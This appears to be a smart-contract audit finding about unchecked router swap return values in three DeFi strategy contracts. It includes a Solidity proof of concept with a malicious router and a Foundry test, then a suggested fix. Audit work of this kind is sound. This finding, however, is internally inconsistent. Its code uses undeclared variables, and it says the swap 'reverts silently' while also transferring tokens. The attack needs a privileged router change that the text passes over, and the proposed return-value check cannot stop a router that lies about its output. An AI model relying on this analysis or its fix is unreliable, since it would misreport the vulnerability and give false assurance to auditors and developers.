Summary
In all three strategy contracts, the return values from the DEX router swap functions are not checked, which could lead to silent failures and asset loss when minimum output is still satisfied but swap fails for other reasons.
Root Cause
Let's look at the implementations:
In StrategyOp.sol:
function claimAndSwap(uint256 _amountClaim, uint256 _minOut, IVeloRouter.route[] calldata _path) external onlyKeepers {
transmuter.claim(_amountClaim, address(this));
uint256 balBefore = asset.balanceOf(address(this));
IVeloRouter(router).swapExactTokensForTokens(_amount, minOut, _path, address(this), block.timestamp);
uint256 balAfter = asset.balanceOf(address(this));
require((balAfter - balBefore) >= _minOut, "Slippage too high");
transmuter.deposit(asset.balanceOf(address(this)), address(this));
}
Similar unchecked swap calls in:
StrategyArb.sol
StrategyMainnet.sol
The issue:
DEX routers return a uint256[] containing actual amounts received
This return value is ignored
Only the balance difference is checked
A swap could fail but the check still passes if tokens were transferred directly
Impact
Let's say attacker creates this setup:
Has a malicious router contract
The swap function reverts silently
Directly transfers minimum tokens to pass the balance check
Takes strategy's tokens without providing proper liquidity
Example attack flow:
1. Strategy has 100 WETH
2. Malicious router set
3. claimAndSwap called for 100 WETH expecting 101 alETH minimum
4. Router's swap fails but transfers 101 alETH directly
5. Balance check passes
6. Attacker has strategy's WETH but provided less alETH than should be received
This vulnerability is rated as HIGH severity because:
Could lead to direct loss of funds
Affects core swap functionality
Present in all strategy implementations
No protection against malicious routers\
Proof of Code
pragma solidity ^0.8.18;
import "forge-std/Test.sol";
contract MaliciousRouter {
IERC20 weth;
IERC20 aleth;
address attacker;
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts) {
weth.transferFrom(msg.sender, attacker, amountIn);
aleth.transferFrom(attacker, to, amountOutMin);
return new uint256[](0);
}
}
contract RouterExploitTest is Test {
function testSwapExploit() public {
weth = new MockWETH();
aleth = new MockALETH();
strategy = new Strategy();
maliciousRouter = new MaliciousRouter();
weth.transfer(address(strategy), 100e18);
strategy.setRouter(address(maliciousRouter));
vm.prank(keeper);
strategy.claimAndSwap(100e18, 101e18, path);
assertEq(weth.balanceOf(attacker), 100e18, "Attacker got WETH");
assertEq(aleth.balanceOf(address(strategy)), 101e18, "Strategy got minimum alETH");
}
}
Recommendations
Check router return values:
function claimAndSwap(uint256 _amountClaim, uint256 _minOut, IVeloRouter.route[] calldata _path) external onlyKeepers {
transmuter.claim(_amountClaim, address(this));
uint256 balBefore = asset.balanceOf(address(this));
uint256[] memory amounts = IVeloRouter(router).swapExactTokensForTokens(
_amount,
minOut,
_path,
address(this),
block.timestamp
);
require(amounts.length > 0, "Invalid swap return");
require(amounts[amounts.length - 1] >= _minOut, "Insufficient output from swap");
uint256 balAfter = asset.balanceOf(address(this));
require((balAfter - balBefore) >= _minOut, "Slippage too high");
transmuter.deposit(asset.balanceOf(address(this)), address(this));
}
Add additional safety checks:
require(path[0] == address(underlying), "Invalid input token");
require(path[path.length - 1] == address(asset), "Invalid output token");